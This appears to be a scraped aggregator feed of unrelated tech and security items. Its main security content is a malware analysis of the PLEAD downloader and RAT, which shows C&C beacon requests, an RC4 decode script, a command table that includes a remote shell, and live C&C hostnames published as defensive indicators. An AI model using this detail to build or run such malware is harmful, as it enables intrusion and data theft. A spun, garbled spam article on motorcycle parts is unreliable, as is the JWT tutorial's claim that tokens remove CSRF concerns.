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          Using Complex Network Theory for Temporal Locality in Network Traffic Flows. (arXiv:1807.03454v1 [cs.NI])      Cache   Translate Page   Web Page Cache   

Authors: Jin-Fa Wang, Hai Zhao, Shuai-Zong Si, Hao Yu, Shuai Chao, Xuan He

Monitoring the interaction behaviors of network traffic flows and detecting unwanted Internet applications and anomalous flows have become a challenging problem, since many applications obfuscate their network traffic flow using unregistered port numbers or payload encryption. In this paper, the temporal locality complex network model--TLCN is proposed as a way to monitor, analyze and visualize network traffic flows. TLCNs model the interaction behaviors of large-scale network traffic flows, where the nodes and the edges can be defined to represent different flow levels and flow interactions separately. Then, the statistical characteristics and dynamic behaviors of the TLCNs are studied to represent TLCN's structure representing ability to the flow interactions. According to the analysis of TLCN statistical characteristics with different Internet applications, we found that the weak interaction flows prefer to form the small-world TLCN and the strong interaction flows prefer to the scale-free TLCN. In the studies of anomaly behaviors of TLCNs, the network structure of attacked TLCNs can have a remarkable feature for three attack patterns, and the evolution of TLCNs exhibits a good consistency between TLCN structure and attack process. With the introduction of TLCNs, we are able to harness a wealth of tools and graph modeling techniques from a diverse set of disciplines.


          After you've located your parts, you can simply click "check out"      Cache   Translate Page   Web Page Cache   
After you've located your parts, you can simply click "check out" to quickly and easily pay by credit card, and then you're done! What could be simpler than that?

And if you're concerned about Internet fraud, or using your credit pump shaft card to purchase online, you can relax. Most online motorcycle parts distributors have a handy search function that will allow you to search for the exact parts you need in just a second. Their inventory would simply have to be much too large, and they would probably require several oversized warehouses to store that many motorcycle parts, not to mention a mammoth computer inventory system to keep up with it.

In these situations, buying Harley motorcycle parts online makes a lot of sense. The fact is, even the largest Harley-Davidson dealerships do not carry all possible parts for every Harley motorcycle. In fact it is now much safer to purchase from these secure online checkouts than to order by phone.

So the next time you need to buy motorcycle parts for your Harley, save yourself lots of time, frustration, and most importantly, money, by shopping with online motorcycle parts dealers. But even though you may enjoy hanging out at the Harley shop and talking bikes with other local riders, sometimes you simply need a part, and you don't have the time to ride all over town looking for it. All modern online stores use 128 bit SSL encryption to ensure that your personal information -- and your credit card information especially -- is kept completely private at all times. With so many great resources available these days, buying motorcycle parts online for your Harley is a no-brainer.

The reason for this is simple; by purchasing motorcycle parts online you are effectively cutting out the middleman, and buying direct from the distributor. Harley riders tend to be different than other motorcyclist, and sometimes a trip to the local Harley dealership can be like heaven to a dedicated biker. This can result in big savings on many parts, and can even mean that you get the parts you need quicker. Most online dealers also have toll-free 800 numbers for any questions you may have about the part and there are often articles and other resources about installation of parts and recommended procedures on their web site.

. Often you can find the exact part you are looking for quickly with just a simple search command.

Harley-Davidsons are great motorcycles with great motorcycle parts, but even the best "Hogg" out there will sometimes break down. And where do you think they're going to order your motor shaft parts from? That's right; more than likely, the dealership will order all from one of the many great Harley motorcycle parts dealers online?

Besides saving money and time, ordering your Harley parts on the Internet is just way more convenient than "schlepping" all over town in search of what you need. And there is no denying that online motorcycle parts are often cheaper than those purchased at your local dealership. After all, the best made parts in the world can still wear out with time and heavy riding.

This means that often, your local Harley dealership will have to order your parts and have them delivered after you purchase


          DearMob iPhone Manager for Mac 2.6      Cache   Translate Page   Web Page Cache   
DearMob iPhone Manager is the ultimate choice to manage your iPhone with power, easiness and safety guaranteed. You can transfer files by one or in batch between iOS device and Mac at extremely fast speed, backup & restore all your iPhone/iPad/iPod Touch data with only one click, manage iOS files by category: photo, music, video, book, contact, Podcast, iTunes U, ringtone, Voice Memos, App, Office files, SMS, calendar, bookmark, etc., and also turn your iPhone as free Flash Drive. No complex configuration, you are able to manage your iOS data in a secured way without any data loss. Besides you can encrypt the data/files with passwords to keep it 100% private. Key Features: 1. Selectively transfer photos, export HEIC photo as JPG. Create, modify, delete photos/albums. 2. Export/import music without iTunes. Add, edit, delete songs & playlists. Auto convert Apple-unfriendly format to MP3. 3. Get 4K videos off iPhone to free storage. Convert MKV, AVI, FLV, etc. to MP4, compress large videos in case. 4. Backup all your iPhone, iPad, iPod Touch data and restore it to any iOS devices. 5. Save contacts as VCF/PDF/TXT/HTML. Backup SMS, download pictures in message to Mac. 6. Manage your Podcast, iTunes, and Voice Memos, create your own ringtone with iPhone music. 7. Convert ePub books to PDF/TXT/ HTML for Kindle. Add new books to iPhone. 8. Install Apps that are not in App Store without Jailbreak. Manage App files, Office files and more. 9. Able to encrypt and decrypt local images and videos on Mac, and select transferring iOS files with encryption, including photo, video and contacts.
          Associate IT Technician - Plenty - Laramie, WY      Cache   Translate Page   Web Page Cache   
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          AutoCrypt 2.3.1      Cache   Translate Page   Web Page Cache   

AutoCrypt, is an encryption/decryption app with a unique approach. Using a document based application, AutoCrypt lets the user save in a document...

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          Associate IT Technician - Plenty - Laramie, WY      Cache   Translate Page   Web Page Cache   
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          Sr. Systems Software Engineer      Cache   Translate Page   Web Page Cache   
MA-Boston, If you are a Senior Software Developer with experience, please read on! We are a Cyber Security company aiming to stop cyber-thieves from stealing massive amounts of business and personal information through end-to-end encrypted file storage and sharing. What You Will Be Doing - Build the system services that make encryption usable for every-day business applications - Develop client-side software
          DriveDx 1.8.1 - Advanced drive-health diagnostic utility. (Shareware)      Cache   Translate Page   Web Page Cache   

DriveDx is an advanced drive-health diagnostic and monitoring utility. Save yourself from data loss and downtime that is associated with unexpected drive failures. Don't worry about losing your important data, music, and photographs. Unlike most drive utilities, DriveDx not only monitors the drive’s built-in S.M.A.R.T. status, but also analyzes the changes of all drive health indicators that are closely related to SSD or HDD failures (like SSD wear out / endurance, reallocated bad sectors, offline bad sectors, pending sectors, I/O errors, and more) and alerts the user immediately if anything goes wrong. Our drive-health diagnostic algorithms are based on recent research in the field. The application provides access to all sufficient drive-diagnostic data to satisfy any system administrator. DriveDx is the first utility of its kind to have a real user-friendly, Mac-style interface.

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Version 1.8.1:
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  • Added support of more detailed error messages from SMTP servers.
  • Improved support of "macOS Purgeable Space" for Disk Free Space Monitoring on High Sierra (10.13).
  • Improved diagnostic algorithms and heuristics.
  • Added minor tweaks and fixes.


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Lisa,

In my opinion email is not a good medium for transferring data securely, I'd rather use SFTP or https.

However I get that using the email features in GP makes it apealing.

I've not done it myself, but outlook and (I think) exchange both support email encryption, so you could configure this and I would guess it just happens transparently? Worth a try and let us know how you get on.

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After being reprimanded by the Indian government over spread of misinformation, Facebook-owned WhatsApp has started testing tools to resolve the problem on its platform that has more than 200 million users in the country.

The company has introduced a Suspicious Link Detection feature that will help users identify suspicious links (both sent and received) within the messaging application. The application essentially “analyses” the link in order to detect whether it is redirecting to a “fake or alternative website”, reported WABetainfo, a website that tracks updates on WhatsApp.

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Embedded Computing Needs Hardware-Based Security

Embedded systems are in a profound transition: from physically isolated, autonomous devices to Internet-connected, accessible devices. Designers are learning—often to their dismay—that the mutation requires far more than just gluing a network interface onto the bus and adding an Internet Protocol stack. In many ways, these Internet-aware designs are coming to look less like traditional […]

Embedded systems are in a profound transition: from physically isolated, autonomous devices to Internet-connected, accessible devices. Designers are learning—often to their dismay—that the mutation requires far more than just gluing a network interface onto the bus and adding an Internet Protocol stack. In many ways, these Internet-aware designs are coming to look less like traditional embedded systems and more like miniaturized enterprise data centers.

Much data-center technology—multitasking, multiprocessing, and fast private networks, for example—is already familiar to designers of large embedded systems, albeit on a far smaller scale. But one data-center technology—system security—may prove novel. Yet the same needs that shape data-center security architectures magically appear in embedded systems–once you connect them to the Internet. Unlike compute, storage, or connectivity requirements though, the demands of security don’t diminish much when you scale the system down from a warehouse-sized data center to a connected embedded device.

Data Center Security

So what is it that data centers—and connected embedded systems–need in the way of security? First, they need to protect themselves from external attacks and internal subversion by their own applications. This means providing a protected envelope in which any attempt to read or write code or data will be authenticated before it is performed. It also means that all system code and data—for operating systems, hypervisors, management, or maintenance—must be strongly encrypted when it is in storage or in transit outside that trusted envelope.

Second, data centers must support the security needs of their applications. Apps may provide transport-layer security (TLS, once known as secure socket layer, or SSL) for their clients, or they may use public-key authentication and encryption. They may also require authenticated and encrypted inter-process communication and storage, often using symmetric-key cryptography. They will look to the data center for key management and, often, crypto algorithm acceleration.

There are three common elements to all of these needs. They all require a secure, accelerated environment (Figure 1) in which to execute cryptographic algorithms. They need a safe way to create, store, send, and receive cryptographic keys. And, in order to create strong keys, they need a true random number generator based on a physical source of entropy.

Figure 1. Extreme measures are necessary to protect encryption keys and codes.

Crypto algorithms need a special environment for two reasons. First, they must be kept secure from corruption and monitoring. They are the ideal point of attack in the data center. Second, they can place an unsupportable computing burden on application CPUs, driving up latency in just the places where apps are most latency-sensitive. Both of these arguments suggest a physically secure proprietary hardware accelerator.

The problem of cryptographic key management presents similar issues. Secret keys must of course be kept secret. Less obviously, public keys must be protected from tampering. If a hacker can substitute a key she created for a public key you obtained from a certificate authority, you will authenticate messages from the hacker instead of genuine messages. These concerns preclude allowing unencrypted keys to ever be in server memory or storage. In fact some experts argue that they preclude allowing even encrypted keys into shared memory.

The random number problem is more mathematical. In order to generate a new key, you start with a random number. If the number is not truly random, but follows a statistical pattern, you have just narrowed the space in which an attacker must search to discover the key. Software random-number generators, though, can only approximate a genuinely random distribution. The poorer the approximation, the easier it will be for an attacker to find the key through directed trial and error. So ideally, you would get your random number by sampling a truly random physical process, such as delay-line jitter, RF noise or semiconductor junction noise. There is strong motivation to have a hardware-based random-number generator.

The HSM

These considerations led vendors to develop, and most data centers to install, a specialized appliance called a hardware security module (HSM). In either board or box form factor, the HSM meets the requirements outlined above, with several distinctive features.

First, the HSM is physically tamper-resistant, in much the same manner as a smartcard. The package may be designed to resist penetration, voltage manipulation, thermal attacks, and even examination by x-rays or ion beams. Such events should trigger the module to delete internal memory. Ideally, the module should also block side-channel attacks such as differential power analysis.

Second, the HSM should provide proprietary hardware for crypto algorithm acceleration, key storage, and random-number generation.

Third, the HSM must have a highly restrictive, bullet-proof firewall. The device should only respond to authenticated requests for a small number of pre-defined actions, such as to encrypt or decrypt a string or to create, read, write, or apply a key. Private or secret keys should only be readable under rigorous conditions, and only in encrypted form. Two special functions, key back-and up and restore, usually to a smartcard, and firmware update, must be very carefully controlled, ideally by multi-party authentication involving at least one trusted human.

By providing multiple levels of security, from external tamper protection to strong encryption of internal data and code, the HSM becomes so hard to hack that for most attackers it just isn’t worth the bother (Figure 2). Sadly, in practice it usually isn’t worth the bother because some other part of the data center is much more vulnerable. In any case, the HSM establishes the foundation on which the rest of the data-center security architecture is constructed.

.Figure 2. Full security requires multiple layers of defenses.

Understandably, HSM vendors are uninterested in describing the architectures of their modules. But it is possible to make some generalizations about just what is in a typical box-level HSM (Figure 3).

Figure 3. A typical HSM has a relatively simple structure.

The tamper resistance functions require hardware support, including motion, capacitive, radiation, voltage, and temperature sensors. There will be a secure microcontroller, ideally with in-line encryption/decryption on the memory and I/O interfaces. It will be the job of this MCU to monitor the sensors and supervise the other functions of the HSM. It will also read some sort of analog device to get a seed for random number generation. The MCU should of course also be secure against side-channel attacks.

In addition, there should be secure memory for key storage. Ideally this should be a custom device resistant to scanning from outside and instantly erasable when intrusion is detected. But the very large amount of memory that may be necessary for key storage and for buffers for encryption and decryption tasks in a data center may make DRAM the only practical solution, and the security features will have to be incorporated into the DIMMs.

Since the firewall is so restrictive, it can probably be implemented in a hardware state machine, relieving the MCU of some overhead and reducing the risk of a successful attack on the MCU software. And last but not least, our HSM will include a crypto algorithm accelerator. This would usually be a hardware data path optimized for the necessary encryption and authentication algorithms.

But there is a problem in that last statement. There are dozens of key-exchange, authentication, and encryption algorithms in wide use. Murphy’s Law dictates that a data center will have to support a large subset of them, plus some proprietary algorithms dreamed up by apps developers. Covering all these needs with a fixed hardware accelerator might mean either accelerating only very primitive operations, as in a large bank of multiply-accumulators, and shifting a lot of the work back onto the MCU, or else building a very complex—and very hard to verify—reprogrammable state machine. If the latter approach is taken, there will immediately be pressure from data center managers to make the accelerator more general and more accessible to users for application acceleration. HSM vendors must balance these desires against the absolute need to keep the accelerator verifiable during the design process and secure during operation. Some security experts, though, argue that user programmability and security are fundamentally incompatible. If you want the accelerator to be incorruptible, you must define and verify its functions at design time.

The custom hardware—primarily the crypto datapath—could be done in an easy ASIC, but it would require special attention to ensure that differential power attacks could glean no information from the ASIC’s supply rails, and that the circuitry was protected against voltage and temperature exploits—not unsimilar to the precautions you would take designing a smartcard chip. With these provisions, a secure MCU core could be included in the ASIC as well, if the design team had the necessary expertise or access to appropriate intellectual property (IP). ARM, for example, is now offering a tamper-resistant line of processor IP cores based on the Cortex*-M architecture and called SecureCore. These might prove adequate if the heavy lifting of the crypto algorithms stays in the accelerator.

This custom design could also be done in an FPGA. But use of an FPGA raises some new issues. Most FPGAs are volatile and configured at power-up from an external memory. This boot process can be protected by encryption, and vendors provide for that. Also, most FPGAs have limited or no mixed-signal capabilities, so it might be impossible to integrate the range of sensor inputs required for tamper detection without external analog-to-digital converters (ADCs), which would themselves add to the attack surface and have to be protected. There are exceptions to both the need for external configuration ROM and lack of mixed-signal circuits, but the exceptions tend to be smaller devices, such as the Intel® MAX® 10 device family.

FPGAs also introduce some new opportunities. Because the accelerator datapath would be run-time reconfigurable, the crypto accelerator could be reconfigured for each algorithm family as needed, bypassing the dilemma of flexibility versus security. Additionally, there has been some work in creating entropy sources in FPGAs for use by true random number generators.

All of these implementation options raise another important question. With so many ways to implement the HSM, how can a user know how secure a particular device actually is? The answer is independent certification. The main standard used for HSMs, Federal Information Processing Standard (FIPS) 140-2, was created by the US National Institute of Standards and Technology (NIST). FIPS 140-2 defines four levels of security, ranging from just an unprotected crypto engine on the weak end to an engine and storage subsystem fully enclosed by intrusion and tamper resistant or detecting hardware on the strong end. Each individual design must be certified by a third-party lab recognized under a certification program jointly operated by NIST and Canada’s Communications Security Establishment.

HSMs may also be evaluated at the product level under the international Common Criteria for Information Technology Security Evaluation (glibly known as CC), ISO 15408. This certification process is also done by recognized third-party labs. But unlike FIPS 140-2, which evaluates the overall actual security level of the HSM, CC evaluation in effect only checks that claims submitted by the vendor are supportable. This approach, which may or may not involve actual testing of the product, has been used to, for example, get various versions of Microsoft Windows certified under the CC. So it is pretty much up to the user to determine what was actually certified, at what level, and what the implications are for their own use case.

An Embedded HSM?

The challenges that brought HSMs to the data center are now present in edge computing, with a few important differences. Embedded systems are likely to use just a few crypto algorithms compared to the plethora a data center would face. And similarly, connected embedded systems probably would need to manage far fewer keys than a data center. Both of these differences could simplify the one big problem with bringing HSMs to embedded systems.

That problem is scale. Depending on capabilities and level of security, data-center HSMs cost from hundreds to thousands of dollars. The range in size from PCIe* cards to pizza-sized boxes. For an edge-computing rack full of servers that is not a serious problem. But for a more typical embedded system, supposed to fit into a small box or onto a circuit board inside a mechanical assembly, it is a non-starter. There is a clear need for HSM technology to scale down from the pizza box to chip level without compromising functionality or security.

But is this feasible? Technically, the answer appears to be yes. As we have seen, all the functions of an HSM could in principle be absorbed into an ASIC or FPGA, with the exception of some sensors and the more mechanical elements of physical intrusion detection. And MCU vendors have already offered pieces of a full solution, including secure software-execution modes, on-chip private memories, and limited crypto accelerators. As one report observed, even ordinary smartcard hardware could be used as a reasonably secure but very limited HSM. So an embedded design team with the requisite skills and motivation should be able to produce a chip-level HSM.

But such a project would face several serious challenges. The requisite skills include secure processor and memory design, a good grasp of cryptography, and experience with physical tamper protection. That’s not a common skill set in embedded design teams. The design should get FIPS 140-2 certification. But that can be an expensive and time-consuming process, as can ISO 15408, running into the hundreds of thousands of dollars and months of delays. And all this work could only be amortized across the relatively tiny volumes of the embedded system under design.

Most serious, perhaps would be a less tangible challenge: convincing management to take system security seriously enough to ignore halfway measures and undertake an HSM chip design. Unfortunately, there is still in management a great deal of magical thinking about the threats facing connected embedded systems, even in applications like power generation and transportation where the potential for damage is vast.

But there is another way. Perhaps it is time for a semiconductor vendor, with its far broader market and great access to specialized expertises, to undertake a FIPS 140-2 certified HSM chip. At some point, after a few more high-profile attacks on too-important and too-vulnerable physical plants, further progress in edge computing may require it.


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In a past article, we introduced TSCookie, malware which seems to be used by BlackTech[1]. It has been revealed that this actor also uses another type of malware “PLEAD”. (“PLEAD” is referred to both as a name of malware including TSCookie and its attack campaign [2]. In this article, we refer to “PLEAD” as a type malware apart from TSCookie.) PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. (Please refer to a blog post from LAC for more information [3].) On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

This article presents behaviour of PLEAD downloader in detail.

Behaviour of PLEAD downloader

PLEAD downloader downloads RC4-encrypted modules from certain sites. Figure 1 shows an example of an encrypted file downloaded from a server.

Figure 1: Example of file download by PLEAD downloader
Fig1

The first 20h of the downloaded file is the RC4 key to decode the file. Once decoded, you can find the module (hereafter referred to as “PLEAD module”), C&C server, encryption keys etc. Figure 2 is an example of a decrypted file.

Figure 2: Decrypting downloaded file
Fig2_en

PLEAD downloader loads PLEAD module (contained in the decrypted data) and executes it. The module will not be saved as a file but only exists on the memory. The following section will explain the details of PLEAD module.

Behaviour of PLEAD module

PLEAD module operates based on commands provided from C&C servers. Communication to/from C&C servers is RC4-encrypted and then compressed with LZO. The RC4 encryption key is a combination of the ones generated by itself and another sent from a C&C server. Figure 3 describes the flow of communication that PLEAD module performs.

Figure 3: PLEAD module communication
Fig3_en

PLEAD module first shares a RC4 key with a C&C server. Below is an example of an HTTP GET request which is sent at the beginning of the communication. Cookie header contains an encrypted RC4 key. In the data sent in Cookie header, “D” and “E” are interchanged. Refer to Table A-1 and A-2 in Appendix A for data format.

GET /index.php?id=1577061168 HTTP/1.1
Cache-Control: no-cache
Accept: */*
Pragma: no-cache
Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: [host name]
Connection: Keep-Alive

RC4 key for data encryption is 32 bytes long, divided into 5 blocks (4 byte * 4 + 16 byte * 1). The first block in the key (Key1 in Figure 3) is included in the configuration of PLEAD module. The second and the third block (Key2 and 3) are set to 0 in the HTTP GET request. The fourth block (Key4) is randomly generated and inserted after “id” in the URL. The fifth block (Key5) is generated based on Key4 value.

The data which is sent first contains Key2 value. With that value, the recipient server encrypts Key3 value and send it to C&C server. The data format is described in Table A-3 and A-4 in Appendix A. This way, an RC4 key is generated and used for communication that follows.

Below is a part of Python script to decode data.

def decode(key1, key2, key3, key4, data, lzo_header):
    rc4_key = key1 + pack("III", key2, key3, key4)
    for i in xrange(4):
        key4 = ROR(key4 + 1, 5)
        rc4_key += pack("I", key4)
        
    dec = rc4(data, rc4_key)

    try:
        return lzo.decompress(lzo_header + dec)
    except:
        sys.exit("[!] Lzo decompress error.")

After sharing the RC4 key, PLEAD module sends information about an infected host using HTTP POST request. The data format is the same as shown in Table A-1 in Appendix A.

POST /index.php?id=2852129559 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: [host name]
Content-Length: [data size]
Connection: Keep-Alive
Cache-Control: no-cache

[data]

The data itself contains the host name, OS version, IP address, user account name of the infected host. Figure 4 is an example of decoded data.

Figure 4: Example of decoded data that PLEAD module sends
Fig4

After that, a command will be sent from a C&C server. PLEAD module can execute the following functions based on the commands that are provided.

  • Send file list
  • Arbitrary shell command execution
  • Upload/download files
  • File Operations

(Refer to B-1 in Appendix B for the details of the command)

Conclusion

As we previously described, this actor has been conducting attacks against Japanese organisations using various kinds of malware. As this attack campaign is likely to continue, JPCERT/CC will watch the trend carefully.

We have listed the hash values of the samples that were described in this article in Appendix C. Some C&C servers that are lately confirmed are also listed in Appendix D. Please make sure that none of your devices is accessing these hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Reference

[1] TrendMicro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

[2] TrendMicro: Following the Trail of BlackTech’s Cyber Espionage Campaigns

https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf

[3] LAC: Confirmed Attacks against Japanese Organizations by BlackTech Using “PLEAD” (Japanese)

https://www.lac.co.jp/lacwatch/people/20180425_001625.html

Appendix A PLEAD module communication data
Table A-1: Format of data contained in Cookie header
Offset Length Contents
0x00 4 Hash value
0x04 4 RC4 key (Key1)
0x08 2 Data length
0x0A 2 Original length of data with offset 0x0C
0x0C - Encrypted data (RC4+LZO) (Refer to Table A-2)

*In the data contained in Cookie header, “D” and “E” are interchanged.

Table A-2: Format of encrypted data contained in Cookie header
Offset Length Contents
0x00 2 0x0000
0x02 4 RC4 key (Key2)
0x06 - Random numeric
Table A-3: Format of received data
Offset Length Contents
0x00 4 RC4 key (Key2)
0x04 4 Hash value
0x08 4 RC4 key (Key1)
0x0C 2 Original length of data with offset 0x0E
0x0E - Encrypted data (RC4+LZO) (Refer to Table A-4)
Table A-4: Format of encrypted data contained in the received data
Offset Length Contents
0x00 2 0x0001
0x02 4 RC4 key (Key3)
Appendix B PLEAD module commands
Table B-1: List of commands
Value Contents
0x100 Send file list
0x105 Send file size
0x107 Move file
0x109 Delete file
0x10B Upload file
0x10D Execute file
0x10F Execute file (using registry entry value)
0x111 Create directory
0x113 Move file
0x115 Delete directory
0x200 Send file or directory information
0x203 Create directory
0x206 Download file
0x207 Send file information
0x20B Upload file
0x300 Launch remote shell and execute command
0x305 Move current directory
0x307 End remote shell
0x309 Send file list of current directory file
0x30C Delete file or change attribution
0x404 Proxy set up
0x406 Send proxy data
0x408 Receive proxy data
0x40A End proxy
Appendix C SHA-256 hash value of samples

PLEAD

  • bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40
  • a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940
  • 2ddb2030ab3373b9438102b541aa4623b7dfee972850dcef05742ecbe8982e22
  • eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d

PLEAD module

  • 23f554cc5bea9d4ccd62b0bbccaa4599f225ebce4ad956a576cc1a9b2a73dc15
Appendix D List of C&C servers
  • em.totalpople.info
  • office.panasocin.com
  • gstrap.jkub.com
  • woc.yasonbin.info
  • 210.71.209.206

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After being reprimanded by the Indian government over spread of misinformation, Facebook-owned WhatsApp has started testing tools to resolve the problem on its platform that has more than 200 million users in the country.

The company has introduced a Suspicious Link Detection feature that will help users identify suspicious links (both sent and received) within the messaging application. The application essentially “analyses” the link in order to detect whether it is redirecting to a “fake or alternative website”, reported WABetainfo, a website that tracks updates on WhatsApp.

If WhatsApp finds the link to be malicious, it adds a label called “suspicious link”. The link will come with a warning that reads, “This link contains usual characters. It may be trying to appear as another site.”


The website further highlights that the analysis of link happens “locally” which means the app doesn’t transmit any data to WhatsApp servers, assuring users that the company isn’t compromising on the encryption for messages.

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          Shocker: DOJ's Computer Crimes And Intellectual Property Section Supports Security Researchers DMCA Exemptions      Cache   Translate Page   Web Page Cache   

Well here's a surprise for you. The DOJ's Computer Crime and Intellectual Property Section (CCIPS) has weighed in to support DMCA 1201 exemptions proposed by computer security researchers. This is... flabbergasting.

In case you don't know, Section 1201 of the Digital Millennium Copyright Act (DMCA) is the "anti-circumvention" part of the law. It's the part of the law that makes it infringement to get around any "technological measure" to lock down copyright covered material, even if breaking those locks has nothing whatsoever to do with copyright infringement. It's a horrible law that has created all sorts of negative consequences, including costly and ridiculous lawsuits about things having nothing to do with copyright -- including garage door openers and printer ink cartridges. In fact, Congress knew the law was dumb from the beginning, but rather than dump it entirely as it should have done, a really silly "safety valve" was added in the form of the "triennial review" process.

The triennial review is a process that happens every three years (obviously, per the name), in which anyone can basically beg the Copyright Office and the Librarian of Congress to create exemptions for cracking DRM for the next three years (an exemption -- stupidly -- only lasts those three years, meaning people have to keep reapplying). Over the years, this has resulted in lots of silliness, including the famous decision by the Librarian of Congress to not renew an exemption to unlock mobile phones a few years back. Many of the exemption requests come from security researchers who want to be able to crack systems without being accused of copyright infringement -- which happens more frequently than you might think.

Historically, law enforcement has often been against these exemptions, because (in general) they often appear to dislike the fact that security researchers find security flaws. This is, of course, silly, but many like to take a "blame the messenger" approach to security research. That's why this new comment from the DOJ's CCIPS is so... unexpected.

Many of the changes sought in the petition appear likely to promote productive cybersecurity research, and CCIPS supports them, subject to the limitations discussed below.

Incredibly, CCIPS even points out that those who are opposed to these cybersecurity research exemptions are misunderstanding the purpose of 1201, and that it should only be used to stop activity that impacts copyright directly. This is the kind of thing we've been arguing for years, but many companies and government agencies have argued that because 1201 helps them, no exemptions should be granted. But here, the DOJ explains that's not how it works:

Some comments opposing removal of any existing limitation on the security research exemption suggest, implicitly or explicitly, that the DMCA’s security research exemption itself poses a danger merely because it fails to prohibit a type of research to which the commenter objects. However, the purpose of the DMCA is to provide legal protection for technological protection measures, ultimately to protect the exclusive rights protected by copyright. As critically important as the integrity of voting machines or the safety of motorized land vehicles are the American public, the DMCA was not created to protect either interest, and is ill-suited to do so. To the extent such devices now contain copyrighted works protected by technological protection measures, the DMCA serves to protect those embedded works. However, the DMCA is not the sole nor even the primary legal protection preventing malicious tampering with such devices, or otherwise defining the contours of appropriate research. The fact that malicious tampering with certain devices or works could cause serious harm is reason to maintain legal prohibitions against such tampering, but not necessarily to try to mirror all such legal prohibitions within the DMCA’s exemptions.

There's a lot more in the comment, but... I'm actually impressed. Of course, the letter does note that part of the reason it wants this exemption is to enable security researchers to figure out how to crack into encrypted phones, but that's actually a reasonable position for the DOJ to take. Far better than seeking to backdoor encryption. Finding flaws is fair game.

All in all, this is a welcome development, having the DOJ's CCIPS recognize that security research is useful, and that it shouldn't be blocked by nonsense copyright anti-circumvention rules.



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          JSON Web Token Tutorial with Example in Python      Cache   Translate Page   Web Page Cache   

The tradional mode of authentication for websites has been to use cookie based authentication. In a typical REST architecture the server does not keep any client state. The stateless approach of REST makes session cookies inappropriate from the security standpoint. Session hijacking and cross-site request forgery are common security issues while using cookies to secure your REST Service. Hence their arises a need to authenticate and secure a stateless REST service.

In this article we are going to learn about securing our REST API with JSON Web Tokens. JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties. JWT happens to be backed by companies like Firebase, Google, Microsoft, and Zendesk.

Understanding with a similie

We all have a debit card. Once plugged into an ATM machine we can withdraw the amount. The Debit card gives access to only my account and can't be used once expired. JSON Web tokens are similar, you plug your token to an authentication system and get access to restricted data that belongs to you.

Working of JWT

When using JWT for authentication you'd usually store the token in the browser's localstorage or sessionstorage. To logout you just remove the token. There's nothing else to invalidate. One of the benefits of using this kind of approach for authentication is that tokens are not persisted in the database, so you don't have to query a session store for anything when authenticating.

Lets take a look at it with the help of this simple illustration -

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Structure of a JWT

JSON Web Token example:


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ0b3B0YWwuY29tI iwiZXhwIjoxNDI2NDIwODAwLCJodHRwOi8vdG9wdGFsLmNvbS9qd3RfY2xhaW1zL2lzX2FkbWluI jp0cnVlLCJjb21wYW55IjoiVG9wdGFsIiwiYXdlc29tZSI6dHJ1ZX0.yRQYnWzskCZUxPwaQupWk iUzKELZ49eM7oWxAQK_ZXw

Since there are 3 parts separated by a ., each section is created differently. We have the 3 parts which are:

  • header
  • payload
  • signature


<base64-encoded header>.<base64-encoded payload>.<base64-encoded signature>

Header

The JWT Header declares that the encoded object is a JSON Web Token (JWT) and the JWT is a JWS that is MACed using the HMAC SHA-256 algorithm. For example:

{
    “alg”: “HS256”,
    “typ”: “JWT”
}

"alg" is a string and specifies the algorithm used to sign the token.

"typ" is a string for the token, defaulted to "JWT". Specifies that this is a JWT token.

Payload (Claims)

A claim or a payload can be defined as a statement about an entity that contians security information as well as additional meta data about the token itself.

Following are the claim attributes :

  • iss: The issuer of the token

  • sub: The subject of the token

  • aud: The audience of the token

  • qsh: query string hash

  • exp: Token expiration time defined in Unix time

  • nbf: “Not before” time that identifies the time before which the JWT must not be accepted for processing

  • iat: “Issued at” time, in Unix time, at which the token was issued

  • jti: JWT ID claim provides a unique identifier for the JWT

Signature

Signature

JSON Web Signatre specification are followed to generate the final signed token. JWT Header, the encoded claim are combined, and an encryption algorithm, such as HMAC SHA-256 is applied. The signatures's secret key is held by the server so it will be able to verify existing tokens.

Popular Libraries for JWT

Advantages of Token Based Approach

  • JWT approach allows us to make AJAX calls to any server or domain. Since the HTTP header is used to transmit the user information.

  • Their is no need for having a separate session store on the server. JWT itself conveys the entire information.

  • Server Side reduces to just an API and static assets(HTML, CSS, JS) can be served via a CDN.

  • The authentication system is mobile ready, the token can be generated on any device.

  • Since we have eliminated the need for cookies, we no more need to protect against the cross site requesets.

  • API Keys provide either-or solution, whereas JWT provide much granular control, which can be inspected for any debugging purpose.

  • API Keys depend on a central storage and a service. JWT can be self-issued or an external service can issue it with allowed scopes and expiration.

Creating a JWT in Python

Encoding a payload

>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
    'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'

Decoding a payload on the server

>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}

Hope the article was of help. Feel free to put your thoughts in the comment.

The article originally appeared on Apcelent Tech Blog.


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          State Appeals Court Says Exigency Beats A Warrant Requirement If A Phone Has A Passcode      Cache   Translate Page   Web Page Cache   

